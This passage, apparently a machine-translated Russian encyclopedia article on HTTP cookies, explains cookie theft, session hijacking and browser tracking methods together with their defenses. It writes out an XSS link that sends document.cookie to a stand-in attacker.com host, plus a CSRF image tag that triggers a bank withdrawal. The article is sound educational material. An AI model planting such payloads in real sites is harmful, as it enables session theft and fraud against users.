Большинство веб-сайтов используют файлы cookie в качестве единственных идентификаторов пользовательских сеансов, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеанса, злоумышленники могут выдать себя за запросы пользователей, украв полный набор файлов cookie жертвы. С точки зрения веб-сервера, запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.
Здесь перечислены различные сценарии кражи файлов cookie и перехвата пользовательских сеансов (даже без кражи пользовательских файлов cookie), которые работают с веб-сайтами, полагающимися исключительно на файлы cookie HTTP для идентификации пользователя.
Трафик в сети может быть перехвачен и прочитан компьютерами в сети, кроме отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает файлы cookie, отправленные в ходе обычных незашифрованных сеансов HTTP . Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров, с целью атаки «человек посередине» .
Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.
Эту проблему можно решить, защитив связь между компьютером пользователя и сервером, используя безопасность транспортного уровня ( протокол HTTPS ) для шифрования соединения. Сервер может указать этот Secureфлаг при установке файла cookie, в результате чего браузер будет отправлять файл cookie только по зашифрованному каналу, например, по TLS-соединению. [43]
Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление кэша DNS ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кэша DNS для создания сфабрикованной записи DNS, f12345.www.example.comуказывающей на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, прочитавшие сообщение злоумышленника, загрузили это изображение с сайта f12345.www.example.com. Поскольку f12345.www.example.comэто субдомен www.example.com, браузеры жертв будут отправлять все example.comфайлы cookie, связанные с ним, на сервер злоумышленника.
Если злоумышленнику удается это сделать, обычно это вина интернет-провайдеров , которые не обеспечивают должным образом защиту своих DNS-серверов. Однако серьезность этой атаки можно уменьшить, если целевой веб-сайт использует защищенные файлы cookie. В этом случае злоумышленнику придется столкнуться с дополнительной проблемой [91] получения TLS-сертификата целевого веб-сайта от центра сертификации , поскольку безопасные файлы cookie могут передаваться только по зашифрованному соединению. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.
Файлы cookie также могут быть украдены с помощью метода, называемого межсайтовым скриптингом. Это происходит, когда злоумышленник пользуется веб-сайтом, который позволяет пользователям публиковать нефильтрованный контент HTML и JavaScript . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправлять файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.
Например, злоумышленник может опубликовать сообщение www.example.comсо следующей ссылкой:
< a href = "#" onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" > Нажмите здесь! </ а >
Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода внутри атрибута onclick, заменяя строку document.cookieсписком файлов cookie, доступных с текущей страницы. В результате этот список файлов cookie отправляется на attacker.comсервер. Если злонамеренная публикация злоумышленника размещена на веб-сайте HTTPS https://www.example.com, защищенные файлы cookie также будут отправлены на сайт Attacker.com в виде обычного текста.
Ответственность за фильтрацию такого вредоносного кода лежит на разработчиках веб-сайта.
Такие атаки можно смягчить с помощью файлов cookie HttpOnly. Эти файлы cookie не будут доступны для языков сценариев на стороне клиента, таких как JavaScript, и, следовательно, злоумышленник не сможет собрать эти файлы cookie.
В старых версиях многих браузеров в реализации API XMLHttpRequest были дыры в безопасности . Этот API позволяет страницам указывать прокси-сервер, который будет получать ответ, и на этот прокси-сервер не распространяется политика одного и того же источника . Например, жертва читает сообщение злоумышленника на сайте www.example.com, и скрипт злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос к www.example.comпрокси-серверу attacker.com. Поскольку запрос предназначен для www.example.com, все example.comфайлы cookie будут отправлены вместе с запросом, но перенаправлены через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет получить файлы cookie жертвы.
Эта атака не будет работать с безопасными файлами cookie, поскольку они могут передаваться только через соединения HTTPS , а протокол HTTPS требует сквозного шифрования (т. е. информация шифруется в браузере пользователя и расшифровывается на целевом сервере). В этом случае прокси-сервер будет видеть только необработанные зашифрованные байты HTTP-запроса.
Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент изображения HTML, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например:
<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" > Если банк Боба хранит его аутентификационную информацию в файле cookie и если срок действия файла cookie не истек, то при попытке браузера Боба загрузить изображение будет отправлена форма вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.
Cookiejacking — это атака на Internet Explorer , которая позволяет злоумышленнику украсть сеансовые файлы cookie пользователя, заставляя пользователя перетаскивать объект по экрану. [92] Microsoft сочла уязвимость малорисковой из-за «уровня необходимого взаимодействия с пользователем» [92] и необходимости, чтобы пользователь уже вошел на веб-сайт, чей файл cookie был украден. [93] Несмотря на это, исследователь попробовал атаковать 150 своих друзей в Facebook и получил файлы cookie от 80 из них с помощью социальной инженерии . [92]
Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на безопасность, и они часто противоречат архитектурному стилю программного обеспечения передачи репрезентативного состояния ( REST ). [94] [95]
Если на компьютере используется более одного браузера, каждый из них обычно имеет отдельную область хранения файлов cookie. Следовательно, файлы cookie идентифицируют не человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie. [96]
Аналогично, файлы cookie не различают нескольких пользователей, которые используют одну и ту же учетную запись , компьютер и браузер.
Некоторые операции, которые можно выполнить с помощью файлов cookie, также можно выполнить с помощью других механизмов.
Веб -токен JSON (JWT) — это автономный пакет информации, который можно использовать для хранения информации об идентификации и подлинности пользователя. Это позволяет использовать их вместо сеансовых файлов cookie. В отличие от файлов cookie, которые автоматически прикрепляются к каждому HTTP-запросу браузера, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложения.
Протокол HTTP включает протоколы базовой аутентификации доступа и протоколы дайджест-аутентификации доступа , которые разрешают доступ к веб-странице только в том случае, если пользователь ввел правильное имя пользователя и пароль. Если серверу требуются такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и после получения сохраняет и отправляет их при каждом последующем запросе страницы. Эта информация может быть использована для отслеживания пользователя.
Часть URL- адреса со строкой запроса — это та часть, которая обычно используется для этой цели, но можно использовать и другие части. Механизмы сеансов Java Servlet и PHP используют этот метод, если файлы cookie не включены.
Этот метод заключается в добавлении веб-сервером строк запроса, содержащих уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.
Эти типы строк запроса очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые различия. Поскольку строка запроса является частью URL-адреса, при повторном использовании этого URL-адреса на сервер будет отправлена та же прикрепленная часть информации, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL-адреса, и пользователь отправляет этот URL-адрес другому пользователю по электронной почте , эти предпочтения также будут использоваться для этого другого пользователя.
Более того, если один и тот же пользователь обращается к одной и той же странице несколько раз из разных источников, нет гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, перейдя с внутренней страницы сайта в первый раз, а затем посещает ту же страницу, перейдя из внешней поисковой системы во второй раз, строки запроса, скорее всего, будут другими. Если бы в этой ситуации использовались файлы cookie, файлы cookie были бы такими же.
Другие недостатки строк запроса связаны с безопасностью. Хранение данных, идентифицирующих сеанс, в строке запроса позволяет осуществлять атаки фиксации сеанса , атаки с журналированием рефереров и другие уязвимости безопасности . Передача идентификаторов сеансов в виде файлов cookie HTTP более безопасна.
Другая форма отслеживания сеансов — использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL-адреса для хранения информации и имеет многие из тех же преимуществ и недостатков. Фактически, если форма обрабатывается с помощью метода HTTP GET, то этот метод аналогичен использованию строк запроса URL-адреса, поскольку метод GET добавляет поля формы к URL-адресу в виде строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к отправке информации формы, включая скрытые поля, в теле HTTP-запроса, которое не является ни частью URL-адреса, ни файлом cookie.
Этот подход дает два преимущества с точки зрения трекера. Во-первых, размещение информации об отслеживании в теле HTTP-запроса, а не в URL-адресе, означает, что обычный пользователь ее не заметит. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL-адрес (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).
Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) посредством JavaScript с использованием свойства DOMwindow.name . Эти данные можно использовать вместо файлов cookie сеанса. Этот метод можно объединить с объектами JSON /JavaScript для хранения сложных наборов переменных сеанса на стороне клиента.
Обратной стороной является то, что каждое отдельное окно или вкладка изначально будет иметь пустое window.nameсвойство при открытии.
В некотором отношении это может быть более безопасно, чем файлы cookie, поскольку его содержимое не отправляется автоматически на сервер при каждом запросе, как файлы cookie, поэтому он не уязвим для сетевых атак с перехватом файлов cookie.
Некоторые пользователи могут отслеживаться по IP-адресу компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервер , если таковой используется), и теоретически может связать сеанс пользователя с этим IP-адресом.
Однако IP-адреса, как правило, не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, например офисные или домашние компьютеры, находятся за транслятором сетевых адресов (NAT). Это означает, что несколько компьютеров будут использовать общий IP-адрес. Кроме того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или представляющим угрозу безопасности.
Поскольку ETag кэшируются браузером и возвращаются с последующими запросами одного и того же ресурса, сервер отслеживания может просто повторить любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется на неопределенный срок (аналогично постоянным файлам cookie). Дополнительные поля заголовка кэширования также могут улучшить сохранность данных ETag.
В некоторых браузерах ETags можно сбросить, очистив кеш браузера .
Кэш браузера также можно использовать для хранения информации, которую можно использовать для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кеше, вместо того, чтобы загружать их с веб-сайта, когда он определит, что в кеше уже имеется самая последняя версия ресурса.
Например, веб-сайт может предоставлять файл JavaScript с кодом, который устанавливает уникальный идентификатор пользователя (например, var userId = 3243242;). После первого посещения пользователя каждый раз, когда пользователь обращается к странице, этот файл будет загружаться из кеша, а не загружаться с сервера. Таким образом, его содержание никогда не изменится.
Отпечаток браузера — это информация, собираемая о конфигурации браузера, такая как номер версии, разрешение экрана и операционная система, с целью идентификации. Отпечатки пальцев могут использоваться для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.
Основная информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики с целью точно измерить реальный человеческий веб-трафик и исключить различные формы мошенничества с кликами . С помощью языков сценариев на стороне клиента возможен сбор гораздо более экзотических параметров. [97] [98] Объединение такой информации в одну строку представляет собой отпечаток пальца устройства. В 2010 году EFF измерил как минимум 18,1 бит энтропии , возможной при снятии отпечатков пальцев браузера. [99] Снятие отпечатков пальцев холста , более поздняя технология, утверждает, что добавляет еще 5,7 бита.
Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице хранить информацию локально для последующего использования.
Стандарт HTML5 (который в некоторой степени поддерживается большинством современных веб-браузеров) включает API JavaScript, называемый веб-хранилищем , который поддерживает два типа хранилища: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным файлам cookie, в то время как хранилище сеансов ведет себя аналогично файлам cookie сеанса, за исключением того, что хранилище сеанса привязано к сроку существования отдельной вкладки/окна (также известному как сеанс страницы), а не ко всему сеансу браузера, как файлы cookie сеанса. [100]
Internet Explorer поддерживает постоянную информацию [101] в истории браузера, в избранном браузера, в хранилище XML («пользовательские данные») или непосредственно на веб-странице, сохраненной на диске.
Некоторые плагины веб-браузера также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект , а Microsoft Silverlight — изолированное хранилище. [102]
{{cite web}}: CS1 maint: unfit URL (link)
